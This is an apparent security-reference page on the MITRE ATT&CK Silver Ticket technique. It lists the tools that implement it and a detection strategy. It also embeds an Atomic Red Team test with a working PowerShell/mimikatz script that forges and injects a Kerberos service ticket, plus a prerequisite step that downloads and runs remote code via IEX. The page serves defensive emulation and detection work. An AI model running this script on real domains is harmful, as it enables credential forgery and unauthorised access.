tfMITRE ATT&CK sub-technique

Silver Ticket T1558.002

sub-technique of T1558 Steal or Forge Kerberos Tickets

Tactic: Credential Access
Platform: Windows
Version: 1.1
Created: 11 February 2020
Last modified: 24 October 2025

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware62nd pct

Tools & malware62nd percentile · 62% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules42nd pct

Detection rules42nd percentile · 58% of ATT&CK techniques have more detection rules written.

Silver Ticket MITRE reference T1558.002

62nd pctamong all ATT&CK techniques for number of tools

4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

RubeusS1071 ↗

Can create silver tickets.1

created 2023-03-29TOOLcarried by 1 group

AADInternalsS0677 ↗

Can be used to forge Kerberos tickets using the password hash of the AZUREADSSOACC account.1

created 2022-02-01TOOLcarried by 2 groups

EmpireS0363 ↗

Can leverage its implementation of Mimikatz to obtain and use silver tickets.1

created 2019-03-11TOOLcarried by 17 groups

MimikatzS0002 ↗

Mimikatz's kerberos module can create silver tickets.1

created 2017-05-31TOOLcarried by 51 groups

All 4 software entries for this technique

Offense vs defense T1558.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 1Splunk ESCU (cumulative) · 0

first rule: 2026 Q3

Silver Ticket detection strategy DET0241

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Forged Kerberos Silver Tickets (T1558.002)

Enterprise

1 platform

AN0675 · Windows

Detects forged Kerberos Silver Tickets by identifying anomalous Kerberos service ticket activity such as malformed fields in logon events, TGS requests without interaction with the KDC, and access attempts using service accounts outside expected hosts/resources. Also monitors suspicious processes accessing LSASS memory for credential dumping.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
Active Directory Credential RequestDC0084	WinEventLog:Kerberos	Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)
Logon Session MetadataDC0088	WinEventLog:Security	EventCode=4672, 4634

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ServiceAccountScope	Expected mapping of service accounts to specific resources; deviations may indicate Silver Ticket use.
TicketValidationBaseline	Expected TGS issuance patterns including KDC validation; anomalies may signal forged tickets.
ProcessAllowlist	Known processes that legitimately interact with LSASS; others may indicate dumping attempts.
TimeWindow	Correlate Kerberos requests within a tunable timeframe to reduce false positives.

Tests1ExecutorsPowerShell 1Need elevation0 of 1Have prerequisites1Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Crafting Active Directory silver tickets with mimikatz

windows

PowerShell

—

Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.

Input arguments

Name	Type	Default	Description
domain	string	%userdnsdomain%	Targeted Active Directory domain FQDN
target	string	%logonserver:\\=%	System you want to target (Default will be logon server)
account	string	silverticketfakeuser	Account to impersonate
domain_sid	string	S-1-5-21-DEFAULT	SID of the targeted domain, if you keep default it will automatically get the current domain SID
mimikatz_path	path	PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe	Mimikatz windows executable
service_aes256_key	string	b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9	AES256 key (you will need to set to match your service key for your target)

Attack command

Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "#{domain_sid}"
If ($domain_sid -Match "DEFAULT") {
  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to silver.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\silver.txt 2>&1 (
  echo Purge existing tickets and create silver ticket:
  klist purge
  #{mimikatz_path} "kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt" "exit"

  echo.
  echo executing:schtasks /query /S #{target}.#{domain}
  schtasks /query /S #{target}.#{domain}
  
  echo.
  echo Tickets after requesting schtasks:
  klist

  echo.
  echo End of Silver Ticket attack
)
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\silver.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\silver.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
  Start-Sleep 1 # wait a bit so the output file has time to be created
  Get-Content -Path "$env:TEMP\silver.txt" -Wait | ForEach-Object {
    if ($_ -match 'End of Silver Ticket attack') { break } 
  }
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\silver.txt

# cleanup temp files
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore

Prerequisite

Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check

$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

GUIDe2deeef2-69bd-4562-8041-747943f289f7

Tests from Atomic Red Team (MIT licence) · technique definition

Silver Ticket detections T1558.002

1 rule is mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

42nd pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs